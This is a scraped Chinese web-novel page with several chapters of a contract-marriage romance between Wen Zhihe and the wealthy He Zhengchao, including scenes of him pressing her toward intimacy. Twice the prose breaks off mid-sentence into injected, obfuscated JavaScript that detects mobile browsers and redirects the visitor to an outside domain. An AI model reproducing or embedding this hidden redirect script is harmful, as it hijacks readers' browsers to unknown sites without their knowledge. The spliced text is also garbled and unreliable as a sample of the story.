天色蒙蒙亮,秦姨早起便看见在厨房活动的温知禾。 她还不太了解这位新女主人,得知对方平时并不会早起,这次只是通宵,立马提出自己会做些补气血的早餐提供到卧室。 温知禾没拒绝,她确实有些饿了,即使她来厨房并不是找食物。 “大米在这儿,香的话暂时还没有,之后您需要我会让人去准备。”秦姨帮她拿了一碗大米,但温知禾没再要。 秦姨看她拿了个熏香炉,欲言又止,“您要这些做什么?” 温知禾礼貌道谢,说得神秘:“没什么,就是仪式感。” 秦姨没追问,半个钟头过去,亲自将炖好的鸽子汤瘦肉羹送上门。 卧室门没关,秦姨象征性地敲了敲门便进去了。客厅里,穿着纯白真丝睡衣的温知禾,虔诚无比地跪在软垫前,挺直腰板,双手合十闭目许愿。 茶几上摆有竖放的手机,前面是袅袅生烟的香炉,以及几颗红彤彤的苹果,看着煞有介事。 秦姨忍俊不禁,暗暗记下。 哦,和老夫人一样信佛。 她默不作声地放下鸽子汤,往女孩那里一眺,看清屏幕上的人,愣了下。 秦姨活到四十来岁,眼神很好,还不至于眼花,可她怎么也不敢相信,温知禾“拜佛”的屏幕里的人,竟然是贺先生。 温知禾戴着耳机,耳机里的大悲咒充斥在耳膜中,而她也念念有词:“钱来钱来,钱从四面八方来,铺天盖地来,时时刻刻来。” 边说着,她边双手掬捧向屏幕里的男人,像在抓取什么,向信用卡里倒,向头顶肩上倒。 秦姨:“……” 疯了。 七点二十五分,仪式完毕,温知禾拾起手机,看到贺徵朝发来的消息,立即手舞足蹈地比耶。 他居然真的报销了! 贺:【每月定额,不能超支。这次首月难免花销多,我可以给你报销,但下次就不一定了。】 好的,心软的神,心软的散财……老头。 在他单调的“贺”字备注后方,温知禾又标了“老板”二字,虔诚地放到胸口处,缓缓呼气,继而敲出标准回复:【收到。】 - 敛了财之后,从早到晚,几天后,温知禾没再吭一声,就连账单也没有任何更新。 贺徵朝不以为意,并也有所预料。温知禾大手大脚过一回,意识到金库直到次月才会更新,自然不会过多消费。某种意义上来说,很好养活。 暖黄的余晖向天际靠拢,由淡紫的帷幕取代上空,贺徵朝乘坐的轿车,正往燕北知名私人会所驶去。这里地理位置优越,隐私性做得也好,向来是公子哥大小姐们聚餐的不二首选。 刚结束在燕北四年一届的峰会,被友人拦着攒局聚餐也在所难免,为商谈公事,贺徵朝也就赴约了。 位于会所顶配的包厢里,金碧辉煌的屋顶以盘旋的虬龙做吊灯,圆桌之下被抬高台阶铺垫中式花鸟图做地毯,这里的陈设奢华靡丽,却也无不透露出俗不可耐。 偌大的饭桌前,只坐了三四人正吞云吐雾地谈话,旁侧的棋牌桌倒显得更热闹。 贺徵朝有时间观念,非行程冲突不会迟到,但在圈子的任何活动场所里,他向来是被等的那位。 “贺老板,来得巧啊,您看我这手烂牌能救得活么。”蔺言咬着新的雪茄,上半身偏向旁侧的人,小幅度地招了招手里的牌。 贺徵朝没看牌,以手背移开,淡声道:“甭救了,正好谈事儿。” 蔺言低声笑了下,随手放下牌:“成,这牌我也不打了,吃饭吧。” 在这一圈里,也就混不吝的蔺言能同贺徵朝耍滑开玩笑,其余人都是偶尔陪两句话,说些不咸不淡的话。 “行,吃饭吧都。” “蔺哥,你这手气不挺好的么……” 开席落座,蔺言是东道主,贺徵朝就是这最贵的客,理应坐在主位。混不吝嘴上说先吃饭谈正事,但酒过三巡,这嘴里就没离过圈里沉沉浮浮的闲谈散话。 谁和谁商场上有纷争又合作,谁谁又包了个小老婆女明星被老丈人家真实,谁又二婚娶妻办最盛大的婚礼以称遇到真爱再不分离。 聊到这,大家听个乐呵,调侃的气氛还算融洽。 直到蔺言随手放下雪茄,“欸”了声,侧眸笑问:“贺老板,金屋藏娇也有两天了吧,什么时候给哥几个介绍下嫂子。” 这就不是其他人可以揶揄的事了。 众人眼观鼻鼻观心,不由得看向主座那位。 贺徵朝面色很平静,默然的几秒钟像是真在考虑,也的确是搭腔了:“明天你就见着了。” 虽然这证没领,婚宴没办,但贺徵朝从未刻意隐瞒此次破天荒的绯闻,何况他本身就是要借由这事这人应付家事。 蔺言姓蔺,和贺徵朝不同姓不属一脉,往上数三辈还是沾亲带故的,严格来说,蔺言还得称呼贺徵朝一声“舅舅”。年岁上俩人不算相近,真要蔺言喊“舅”他又不太乐意,所以平日都是老板来老板去,有事相求才喊“哥”。 蔺言挑眉,压低声音问:“这次是真的?” 贺徵朝淡淡睇他。 蔺言深知,贺徵朝不是轻易能开玩笑的主儿,他顿了下便笑道:“行,那我可就拭目以待了,咱贺老板能看上的人,那得是什么不食人间烟火的仙女啊。” 不食人间烟火的仙女。 样貌是挺贴近,至于不食人间烟火…… 贺徵朝想到温知禾因房子颤动的手、明亮的眼,忽而不置可否地笑了下。 蔺言眼观八方,少不得瞥见贺徵朝的脸色,看他笑,他心里更诧异。 这到底是哪路神仙姐姐,能把这苦行僧给收了,未来保准干得了大事。 贺徵朝不是那种能把私事摆在桌上聊的人,今天算是例外。在坐的几位虽然都带了年轻貌美的女伴,但大多都是有家室的,作为已婚人士还是非常有传授经验的。 由蔺言开头,几位摸着石头过河,纷纷闲谈起各自的婚事,说得还挺像回事。 蔺言一单身人士也是听得津津有味,不由得问:“贺老板,你家那位想怎么办婚礼?” 贺徵朝还未搭腔,就有人笑着应和:“那必定风光大办吧。” 侍者点弄雪茄,待星火明起便递交到男人手中。贺徵朝垂眼看烟气,不以为意:“用不着。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13798301|145963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 是用不着大办还是用不着办,也没人敢问,总之,他说得浅淡,浓稠的眉眼也隐于溟濛的烟霭之中,就好似对这桩婚事,结婚的人并不在乎。 饭局到结尾,正事也摆到桌面上。 在棋牌室谈完后,贺徵朝破天荒地没有早退,眺向左厅那一墙的鱼缸,端详了须臾。 对此,蔺言整理下衣襟,又有话要讲:“这么大个墙壁鱼缸,就养这一条看着是挺寒碜,你不知道吧,这是我爸专门让人从印尼那儿运过来的,说是旺财,看着吉利。” “我又不懂鱼,一开始还以为就是个头稍微大点儿的普通锦鲤,就随便让人养在池塘里,结果这小龙王直接把那塘子里的鱼给咬死了,真是我活爹。” “我家那位小公主,幼儿园放学了就耐回家喂鱼,一看池塘里尸横遍野,直接吵得全家都不安生,怎么哄都哄不好,我就为这小龙王小公主莫名其妙挨呲儿,我凭什么受啊我,关键这鱼儿我还不能随便处理,就先放这儿,真难伺候……” 贺徵朝轻笑,随手将指间的雪茄放到烟灰缸上,语气稀松:“有什么难的。” “这鱼脾性凶猛,却也鲜艳漂亮,单独活动在这面墙,吃也就吃这一把,全依仗人的给予,还能跳出来咬你不成。” “——能比人难养?” 蔺言多看了眼贺徵朝,为他后半段意味深长的话。 要不说这人内心阴暗呢,养条鱼都能联想到女人,原来金屋藏娇的娇也没什么地位。 蔺言吁口气:“晚上还有局夜场,能来么?” 所谓夜场,也就是换个相对松散不那么正式的地方继续喝酒,不谈正事,就关系相近的哥几个聚会。 贺徵朝没明确拒绝,淡道:“再看吧。” 离开棋牌室再回饭厅,没了主客,刚才安生的几人话题和做事就愈发露骨。 蔺言对此习以为常,身边这尊大佛可不是,他克己复礼,也严于律人,清心寡欲三十余年的沙门佛陀又不是白取的。 他心里暗骂一声,没曾想,还能听到某位喝大的说—— “要我说,贺总那老婆应该就是培训班出来的,没个十来年的道行哪来的本领能嫁进贺家。” “我家里那位但凡愿意对我做小伏低,我还至于在这儿么。赶明儿真得让嫂子给我家那位开开班。” 说者无意,听者有心。 隔了不到半米的距离,贺徵朝淡然的嗓音落下:“她很单纯,也很内敛,从不和不相干的人来往。” 刹那间,声色犬马的饭厅静谧了几秒,男人脸上的酒气散了大半,怀中女伴也不敢吭声。 一时无人敢置喙,皆是以面面相觑的姿态噤声。 贺徵朝臂弯垂着西装外套,衣领齐整,身上淡淡的烟酒气也难捱眼底的清明,他唇角微掀,儒雅平静:“在外太晚容易误事,先失陪了,各位玩得开心。” 刚才说胡话的人如梦初醒,让身上的女伴下来,站起身笑着连连称是赔罪。 贺徵朝缄默不语,只颔首离场,斯文得仿若不在意。 待男人回来,蔺言才让侍者泼他一身水,冷嗤:“不会说话就别说话,显得你。” 男人懵然:“你……” “看我做什么,别以为人贺徵朝听了你那下三滥的蠢话能放过你。”蔺言深吸口气,摆手让侍者退场。 只有他清楚,平时贺徵朝这人看着温雅绅士,手段是最阴的。 不在乎那小娇娇又怎样,那也不是旁人能戏言的。 - 三月的燕北天气仍然没有转暖的迹象,反而因为气温骤降,下起了桃花雪,地广人稀的别墅区还未来得及铲雪,银装素裹的白衣之上,碾过两行车轮印。 一星期过去,他养的池中鱼应该已经过得悠然自得。 是该收网了。 贺徵朝看向灯火通明的二楼,没什么情绪地想。 11. 留宿 自从上次在互联网掉马吐槽后,温知禾就很少再看微博。不为别的,第一,她害怕看见那些污言秽语;第二,她根本没这时间。 如果她还是之前那个每天奔波片场到深夜,回家最多铲完猫屎就躺平,等着吃和人拼单的十元国潮包装外卖的穷苦牛马,那她一定会灰溜溜删除微博,做个夜里默默哭泣的老实巴交小鼠鼠。 但今夕不同以往,她不再为生计奔波,每日有的是闲心闲情刷爆经典影视剧,就连两只小猫的粑粑都不必她铲。 她的贵妇生活就这么简单。 温知禾喝完最后一口西米露,继续整理剪辑好的素材,每当她累了,都会调出后台截图的那些辱骂,以鼓励自己继续出吐槽视频。 是的,她不再做些循规蹈矩的拉片视频,而是直接在大号悉数蔡馨的过往影视剧,开喷她的演技。 温知禾是头回做这类视频,大概是被网暴时的怒气很上头,她制作出的视频情绪饱满,火力充足,吐槽得简直一针见血,竟还真就大爆了一条播放量几十万的视频。 几十万的播放量放在大体量博主那儿是不够看,但要知道,她以往的视频均点只有几万。几十万的播放量意味着可以上热门进入大众视线,后台的收益不算多,底下深有同感的评论倒是源源不断,夹杂的那点粉丝辱骂……sorry,有路人帮她怼回去,私信她也已经关了。 蔡馨那里过不了多久就会向网站警告她下架视频,但无所谓,越是这样热度就会越高。 网友的嘴是捂不住的,人都有逆反心理,就像前段时间翻车的大咖一样——黑红也是红,蔡馨无口碑无实绩,她这还算是送热度呢。而且温知禾有信心不会让视频下架。 不得不说,迄今为止的小胜利,让她天灵盖都爽翻了。 但她不会止步于此,她还想……多再找找机会。 温知禾查阅了关于恒川旗下的影视子公司,发现贺徵朝确实没唬她,他指缝里流出的碎金足够令她目眩;他给予的一丁点甜头,是她作为普通人堪称一生都望尘莫及的。 拍电影电视剧,拉赞助投资并不难,靠着贺徵朝的资源,靠着他的名头,她可以在一年之内365天拍出十几部流水线烂片——也不尽然。 贺氏恒川旗下虽然有多种产业,影视业只做泛娱乐战略的涉足搭建,但流水线烂片也并非谁都能拍,其耗资之庞大,可不是收回她这信用卡里的小零花钱能填补的。 贺徵朝是资本家,绝对的商人,不可能让她随意挥霍而不做付出。 关于付出,就得围绕“听话”二字,温知禾并不知道,这二字蕴含的代价会是什么。 从前让她做亲密关系里的下位者,她绝对不干,但人都有懒惰性,也乐得走捷径,温知禾深知自己是俗人,难以避免自己掉入贺徵朝编织的网中。 她也曾努力过,可也许就是二月二十九号降生的她不被幸运女神眷顾,她在成为名导的路上总是出奇的倒霉——那就换个工作呢?有必要非要干这行吗? 娱乐圈是个大染缸,美貌被贬得不值一提,能力捱不过裙带关系,人人都可染指,人人都能分一羹,她抗拒这一切却又忍不住好高骛远——万一真的成功了呢?万一真的走狗屎运呢? 温知禾不拧巴,她明白成年人的世界是有得必有失,所以她选择一条有期限的、并不算光明的路。 她也不会夜里辗转反侧内耗自我,毕竟她懒惰,贺徵朝也是。他怠惰于与千金周旋,哄千金开心,所以乐得找她这样身份低微,愿意做小伏低的女孩契约结婚一年。 和他这种人相比,她这点儿欲望算个屁。与其内耗,还不如指责他人。 她必须谨记的是,自己要把贺徵朝给予的这点小碎金,好好地保存,以免未来没依靠。 温知禾大学学的是计算机专业,填报志愿时被按头改的。后来她认命学,在近乎满绩的情况下打算转专业,家里人却称,不给提供学费。 在此之前,温知禾为赚取生活费也是半工半读的。 她没办法再分裂自我做太多事,只能尽所能及地让自己的副业靠近爱好,就像小的时候,躲在屋子里努力放大耳机里的音量,让电影的对谈掩盖争吵,让屏幕上的演员充斥视网膜。 五光十色的、令人发笑的童话、喜剧是她最喜欢的。 ——用眼过度了。 温知禾摘下眼镜,揉了揉眼眶,很想就此躺平睡一觉,正好八点半了。 但她灵机一动,忽然很想……拍个露脸视频。 在互联网上露脸意味着隐私再被降级让渡,但同时,平台给予的量会增多,还有益于打造个人IP。 温知禾没有这个需求,不过她有虚荣心,很想借用衣帽间那一屋的名牌,好好真实一下辱骂的小粉丝和蔡馨。 她就是这么心安理得,这么有行动力。仿照蔡馨在剧里的妆造,进行升级改良、穿金戴银,力求名场面更mean更drama。很快在衣帽间架好麦,调整摄像机、打光板—— action! 温知禾在心中默喊,开始念台词。 “相信大家都看过蔡馨演过的这段。”温知禾冲着镜头,展开骨扇扬了扬,下巴抬起,“稍微改改台词你们就能明白,她为什么能演出小人得志的模样。” “她的台词就相当于——” 温知道禾稍作思考,随口一扯:“你老公是车行富豪又怎样,我家有钱老头还是贺徵朝呢。” 既作比较,又是事实,温知禾说得理所应当,手里的骨扇愈扇愈快。 半开的衣帽间门口,贺徵朝听到话音,推门的手顿了下。 但也仅过一息,他便轻缓地、悄无声息地拉开门。 温知禾戴着墨镜,手里还有冰块半化的高脚杯,对着面前的镜头,夸张地举高碰杯。 燕北的室外温度很低,室内有供暖,穿得单薄才刚好。温知禾一天没出门,身上穿的是质地柔滑的真丝睡裙,有点小精致且并不露骨。 绵软的白色地毯从头铺到尾,她没穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13798302|145963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鞋,光脚踩在上面,微荡的裙摆下,娇娜的腰肢绰约多姿,两只小腿白皙纤细。 如果能闭上双耳暂且不听她的台词,倒是很有观赏性,贺徵朝也没作声,微微交叠双臂,半倚在墙边,平静地看着她。 在衣帽间的最深处,有着两面全身镜,足以让人观测到门口的动静,但温知禾投入得很,直到她要去按下摄像机的按钮,她才透过镜面,察觉到不对劲—— 两道视线在半空交汇,贺徵朝缓声问:“结束了?” 温知禾的心跳骤然漏拍,血液好似从指尖,脚底直接逆流回去,致使她面颊泛热、通红。 在这种情况下,她花光了所有勇气,问出那句经典名台词:“你、你是什么时候来的?” “小人得志,车行富豪。”贺徵朝慢条斯理地列举出关键词,卷翘的京腔字字清晰:“有钱老头。” 说到这,他已经踱步到身边,略一弯腰轻声道:“嗯,应该都听见了。” - 人在尴尬的时候,总会摆出很忙的样子。 温知禾假模假式地收拾衣帽间里的器材,摄像机关了又开、反光板折了又压,放错地方又拿出来,对柜子里整齐码好的首饰细致地挪正。 贺徵朝扯下领带,缠了缠随手递给她。 温知禾有些疑惑地看向他。 贺徵朝淡道:“找个地方放。” 温知禾更疑惑了。 贺徵朝仿若看得懂她的表情,又说:“你对这里熟悉,应该知道哪儿有空位可以放,衣服我会自己挂。” 温知禾没接,贺徵朝便把领带放到桌台上,向另侧脱下西服。 听着布料摩挲的声音,凝睇那团领带,温知禾警笛大作,脑海里慢慢萌生某种不妙的想法。 她随便将领带塞入一处空旷的格子里,转身望向他。 “您……要留宿吗?” 温知禾问得小心翼翼,她尽量收敛语气里的不平稳,但舌头却险些咬到。 贺徵朝身着单薄的黑衬,最上方的几颗纽扣已经解开,他肩膀很宽,身材精壮,半敞的领口能看到饱满的肌肉线条。 他并未再褪去,仅把袖扣解开,低眉淡淡嗯了声。 温知禾呼吸微窒。 贺徵朝随意地挽起袖口至小臂中段,漆黑狭长的双眼细细端详她,忽而轻笑,嗓音很低沉:“我没有分房的打算,太太。” 他走过来,凑得很近。 温知禾屈臂抵在柜台旁,刚才作为道具的高脚杯被她碰倒,滑落下去。 贺徵朝越过她的身侧,接到了高脚杯,但半化开的冰块球却砸落在地毯与木板的交界处,发出沉闷的声音。 贺徵朝向下看了眼,屈膝拾起,落在脚边的冰球若有若无地蹭过她的小腿侧,冷得令人发颤。 温知禾抖了一下。 贺徵朝将其放到高脚杯中,低下头,全然入侵进她的视野里,漆黑的眼底透着难掩的深意。 “一星期了,你还没做好准备么?” 12. 小太太 ——没有分房的打算。 这完全是在明示她,今夜会发生怎样旖旎的事。 在与他的周旋谈判中,温知禾几乎是只要逮到机会,就会将要求、规矩打破砂锅问到底,否则她很难安心收下这些数额庞大的馈赠。 但同时,她又不太谨慎地回避了诸多事情,即使她事先顾虑过,可到底都是自以为是。 再说了,那种事情,她问了和自找苦吃有什么区别。 温知禾双腿伫立得发酸,整个人都处于神经紧绷的状态,就连脚趾头都很用力地陷入地毯里。 她难捱他如炬的双眼,乌黑浓密的眼睫颤动下垂,缓慢放松自己,很小声问:“我以为您不会做强迫我的事。” 说到这,温知禾仿若拿到令箭的鸡毛,又看向他,透露着某种诚挚与认真:“我一直都这么认为。” 她并不是一个能把表情管理得很好的女孩,但偶尔尽心尽力的演绎,眼里挑不出毛病的清明,总有种令人着迷的致幻感。 掌舵恒川实权,游走商场多年,贺徵朝见过各型各色的人,也见过无数双眼睛,他说不出温知禾到底出挑在哪里,他对她也并非一见钟情。 但他总能在某一瞬间,觉得她格外吸引人。 住了别墅,有佣人伺候,穿着大牌睡衣,用了高奢乳霜,应当比先前要更高级。 温知禾身上散发的幽幽清香,却和先前并无两样,要说有什么区别,大概是穿得更少。 贺徵朝并非急色的人,否则也不会素到现在,他自诩清心寡欲,只不过看她惊恐的、慌张的神色,不由得滋生出玩弄的念想。 或者,又并非是玩弄。 许多玩笑话,在说出口的那一刻,总会带着认真的成分。 真真假假他没心思过多探究,他这人向来是想要什么便去放手做。 他喜欢她仗着年轻气盛,装傻、卖乖、不知天高地厚的模样,这很有趣,他也不是不能奉陪。 “你可以一直这么认为。”贺徵朝眉眼压得很低,唇角泛着极淡的笑,抬手牵起她右肩滑落的肩带,指腹挑入,抵在交接处。 “但你要知道,我娶你不是放在家里当摆设。” 他总能以一言一行做出令她难以适从的事,温知禾都快维持不住脸上的笑容了,心里不断暗骂。 可不论她如何辱骂,终究不得不低头,承认自己也有问题。 她早该知道的。 “我没有做好准备嘛……”温知禾收敛声息,艰难抬起手,拈着他的衬衣布料,一点点望向他,“您可以高抬贵手,放过我吗?” 这是她的肺腑之言,虽然并不中听,但这已经是她腹诽的草稿里最低微、最摇尾乞怜的措辞。 倘若贺徵朝再做点什么,她或许会—— 温知禾凝睇他饱满的喉结,双唇微微抿起。 她会咬住他的喉咙,让他在自以为是情趣的情况下被她咬得血管爆破脸色发紫七窍流血当场去势。 衬衣的前襟被她轻轻捻着,指尖都在泛白。 贺徵朝低眉虚阖双眼,不难听出她话音里的虚情假意。 看她轻撇的唇角,佯装无辜的双眼,贺徵朝唇边染着一点笑,很低缓的应声:“嗯,高抬贵手。” 温知禾没听他话音里的慢条斯理,以为他是应允了。 在脊骨放松的下瞬,贺徵朝却去捉取她那只攀附的手,半抬举高,放落到他肩边。 手臂攀高,原本松散的披肩滑落,遮不住最后的半边。 温知禾的背本就汗津津,蓦然暴露空气中,顿时凉得她背脊绷直,双腿微紧。 “这么抬?” 男人的嗓音低哑磁性,狭长虚眯的眼透着某种深意,似乎带笑,散漫的在逗她。 温知禾暂时无法探究其中,她的呼吸好似关闭了,无法为大脑供氧,只想把手抽回来,但捉她腕骨的那只大手,正有力而温热地紧紧箍着她。 以至于她弯曲的臂膀,像是在刻意抚按他的肩,将彼此的距离拉近。 明明他生得高大,如岿然不动的磐石,但他就是为她弯腰倾身,攫取最后的新鲜空气。 垂直的西装裤嵌在她腿间,掌下那处,结实的、强健的肌肉好、好…… 温知禾持拿不住最后的装佯,透红的面颊也染了一丝紧意,她像深陷泥潭的幼兽,很低微的吐息:“不是……” “哪有你这样的……” 高抬贵手。高抬贵手。 为什么要把她的手抬到肩膀上? 他什么时候会这样开玩笑? 贺徵朝轻笑,观她颤动的眼睫,慢条斯理地引导:“哪样?” 哪样。这样。这样又那样。 没完没了的迂回、转圜…… 贺徵朝像欣赏困兽挣扎的观察员,冷静且漫不经心。 她若是再回答他,陷入无止境的自证陷阱里,指不定被怎样拆吃入腹。 温知禾吸了吸鼻子,抬眼闷闷道:“您放过我行不行。” 贺徵朝淡淡睇她,眼底漆黑,不夹杂任何仁慈,拂耳的灼意却温和:“你想我怎么放过你?” 温知禾切身体会到,自己是真的玩不过他。 老男人。 她已无处遁形,无力再咒骂更难听的话,只好竭力去恳求:“您要是不放过我,我感觉我都要呼吸困难了,手臂好酸,脚趾也酸,腰酸背痛……” 听她气若游丝地娓娓道来,听着倒真像那么回事。 贺徵朝没打断,静静的慢慢的听她说。 直至温知禾口干舌燥,说不出一丁点话,他依旧端的是慈眉善目、儒雅斯文的好好先生模样,心是冷的,不放人。 温知禾败下阵,双眼湿漉漉,抿抿唇,好似服从:“好吧,你非要这样,那我也没办法。” “不就是让我呼吸困难、头晕眼花、胸闷气短么。” 温知禾吸了吸鼻子,又温温吞吞地说车轱辘话。 直到现在也在演戏,企图用装可怜躲过。 该说她聪明,还是傻。 贺徵朝双眼微深,无否否认,她的这副姿态是取悦到他。小火慢炖,他不急。 “不用说得这么可怜。”贺徵朝淡道,按揉她的腕骨,缓慢悠然地放行,在她收回手后,两臂撑在她身侧,将她束缚。 他额前落了碎发,整个人都有种落拓的慢条斯理,醇厚翘卷的京腔很低:“我的小太太。” …… 无声的干呕过后,温知禾挑开盥洗台扳手,掬起一捧水,漱漱口洗洗脸。 由于太过急促,她猛吸一口气,被水给呛到。 “咳咳……” 温知禾缓了好久才平复下来,面颊徒然涨红。 她今晚可能会失眠。 因为有钱老头,也因为有钱老头。 值得庆幸的是,她不用与他共处一屋同床共枕。 温知禾自我安慰地想,却又不由得发愁。 按照贺徵朝的意思,他总有一天要和她嗯那个事,毕竟她不是摆设。 虽然有可能是玩笑话,但温知禾可不敢赌运气,她这人从小就倒霉,曾因鱼刺卡喉过敏大发作进医院,也曾因天黑摸瞎左脚踩狗屎右脚踩香蕉皮而滑倒,仿佛喝口水都能塞牙。 正因如此,她才非常信奉玄学。 贺徵朝是她的财神爷,也是魔鬼、撒旦。 和撒旦做交易,需要付出代价。 她想,要真需要做点什么,她也必须……索求些。 就好比如,进大作导演组的机会。 - 别墅很大,二楼的主卧分庭抗礼地分布在南北地段,是一比一的构造呈对称式建设,不同的是,温知禾的卧室有两层衣帽间。 贺徵朝就住隔壁,秦姨在他来时稍微做过收拾,对于并未正式见家长缔姻的夫妻,分房睡也理所应当。 在临睡前,贺徵朝又向她下达噩耗—— 明天,他会带她回祖宅认亲。 温知禾在床上翻来覆去,随手捞过一只陪睡的小白猫,更是合不上眼。 夜已深,贺徵朝仅向她告知,但并未与她有过多置词,就连虚伪的、假意的宽慰和提醒都没有。 一般来说,这种百年世家不得有族谱吗?他难道不怕她到场喊不出人落下不礼貌的话柄?还是他根本不在意? 温知禾一旦闭上双眼,诸如此类的问题就会像弹幕一样嗡嗡嗡地弹出、循环。她忽然意识到,贺老板真是找对员工了。 因为她这该死的好员工,居然会因为明天的认亲工作焦虑得睡不着觉,真是好鞠躬尽瘁。 温知禾忘记自己是怎么睡着的,当她再度睁眼时,是被秦姨的敲门声唤醒。 8点47分,早于她平时自然醒的时间。昨夜胡思乱想到凌晨两三点,这个时候起简直要她老命。 温知禾掀起被褥翻过身,企图再拖延一段时间睡个回笼觉,门外的秦姨并不会为难她。 十分钟过去,窗帘紧密交叠,密不透风地放不过一束阳光,熏香开了整宿没关,徐徐冒着白烟。 温知禾由浅度睡眠转向深度睡眠,眉眼舒展开,呼吸也变得平静均匀。 她并未察觉,第二次的探访者已经换了人,并且悄然拧开门锁,缓缓走到床畔。 温知禾的睡姿并不算好,纵使刚才已经苏醒过,这会儿也会将被褥压在腿下,紧密的抱在怀中。 真丝睡袍褪去披肩,只留下单薄的收腰吊带。 和昨晚如出一辙,她的右肩肩带又滑落,掉在臂弯,大片莹白的肌肤暴露在视线里,兜不住的柔软也得以窥见。 贺徵朝双眼微深。他得承认,自己并不是什么绅士,他善良地 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她无论怎么跑,双腿都像灌了铅似的沉重,只能原地踏步。 梦里她看不见豺狼的样貌,只知他庞大、沉重,没有毛发,一只臂膀就足以将她按倒。 大脑出于自我保护机制,并不会幻化出过分恐怖的梦境,温知禾仅仅是被豺狼钳制,却并未发生过于血腥的惨案,她被豺狼宽厚的掌心,一遍又一遍地抚摸过每一处肌体。 可这也已经足够吓人。 温知禾皱着眉头,由臂弯淹没的鼻息,发出短促又低微的单音。 替她抻起被褥的臂膀,停顿了一秒。 衣裙与被褥交叠摩擦的触感、听感逐渐显现,温知禾慢慢睁开眼,在看见莫名多出的一截臂弯,她大脑宕机了一瞬,下意识地攥紧被褥。 “什么人?” 她的话音透着浓厚的鼻音,是还未完全睡醒的状态,有一丝轻软。 感知到她的搏动时,男人便已经知晓她快清醒。 习惯昏暗环境,他可以看见女孩蹙眉时的模样,有着未经掩饰的反感。 他被她的呵斥所逗笑,眼底染上了兴味。不恼也不作正面回答,嗓音低沉而淡然:“你觉得能进你的房间,还能是谁?” 温知禾不是傻子,在抱紧被褥半坐起时,她的大脑已经自动给予了答案。 看着床畔晦暗深邃的浓影,温知禾想起梦中的片段,依旧有些惊魂未定。 她双唇微抿,浓厚的鼻音透着不快:“……你进我房间做什么?” “叫醒一位睡到中午的。”贺徵朝顿了下,慢条斯理地称呼,“懒虫。” ——懒虫。 贬义成分极低的称呼,温知禾心里微妙,有种被他戏弄的感觉。 她依旧蹙着眉头,不情不愿:“……那也不是你不敲门就进来的理由。” “敲了,只是你没听着。”贺徵朝解释得不紧不慢。 温知禾拧着被褥,小声嘟囔:“没听见你也不能进。” 贺徵朝仿若没听见,靠近墙边,指骨悬浮地抵在开关键,善心地提醒,“我要开灯了。” 温知禾本想敷衍的应一声,但意识到灯光乍现会令她无处遁形,立即身体力行地半跪起来阻拦:“别——” 她不曾想,正是自己攀向他的臂弯,才造就开灯的后果。 “啪嗒”一声,并排的一列圆形顶灯骤然亮起,这灯光不比吊灯明亮,但足以使得室内视野开阔。 贺徵朝的面庞清明了许多,浓稠的漆黑的目光自上而下地投来。 温知禾有些头皮发麻,心底来不及懊悔,只能松开他的手臂,连忙捡起厚重的被褥掩护胸口。 她就像失了巢穴,正惊慌失措地寻找新的枝干重新搭建家园的鸟儿,一旦拥起庇护所,便立即对他这位罪魁祸首,投来并不和善的目光。 她堪堪及肩的短发凌乱翘边,身上的睡裙也皱巴巴,床头床尾各有一枕头,手机充电线、充电宝,甚至笔记本都在床侧。 贺徵朝对温知禾的不规律作息略有耳闻,也不觉得小姑娘在自己的卧室凌乱点会如何,但很显然,目前的所见所闻,已经超脱了他的认知。她会睡到十点、十一二点不起;各类电子产品乱丢乱放,完全不怕出意外;梦呓一些叽里咕噜让人听不懂的话;被叫醒了也赖着不肯开灯…… 贺徵朝很难想象,自己是和这样一个小姑娘结婚。他感觉,自己完全是在养一个正处叛逆期有起床气的小女儿。 供她吃供她穿,给她至多的零花钱,连进房间掖个被褥都被嫌弃。 年龄之间的天堑,于这一刻具象化。 贺徵朝为方才的脑内亵|.渎感到抱愧。 但……也就一小会儿。 她是年轻,可他也没犯罪。 13. 好孩子 下午三点就要搭车回贺家祖宅,她一觉睡到十一二点不起,确实不太礼貌。 而且随意以梦境去揣度一个人,也根本站不住脚,即使这个男人……并不可信。 温知禾对此难以启齿,索性咬碎牙齿往肚里咽。洗漱时,她感觉胸口涨涨,拿起手机看了眼健康表。本以为即将迎来月经,却发现自己正处排|卵|期。 健康表她最近跟风下载的,因为作息不规律,例假也紊乱,这上方除了可以记录日期,还有着详尽的时期说明。例如排|卵|期,恰好是她激素正盛的时候。 ——慾望强,适合恋爱。 温知禾吐掉嘴里的泡沫,捧水冲洗,面无表情地想。 她是结婚了,但结婚对象可不适合恋爱。她对贺徵朝没有一丝一毫的想法,获得零花钱与房子的激情褪去,她还有些厌烦他。 她就是如此白眼狼,何况贺徵朝也早该知道。 - 温知禾从未想过,打脸会来得这么快。 当她穿戴齐整下楼时,迎接她的并不是严阵以待的轿车,而是由sales精心罗列好的一排钻戒。 温知禾从未见过这种场面,在她的认知中,这些闪闪发光的小可爱应该在商场一楼的专柜里,只可隔窗远观不可亵玩。 她难以掩饰自己脸上的惊艳,对上贺徵朝漆黑的双眸,便立即把持一份独到的矜持,犹状天真地对他眨眼。 sales有两位,皆穿着得体的制服,一位年龄资历稍长,作为领班在男人身侧进行讲解。 贺徵朝并未侧耳去听,目光落在她身上,接收到抛来的眨眼,原本漫不经心的面庞,慢慢低缓地笑了下,淡得仿若只存在一息。 温知禾知晓,他是觉得她装傻的模样好笑。 那不然呢?她还要直接上手佩戴十指……告诉他这些都喜欢? 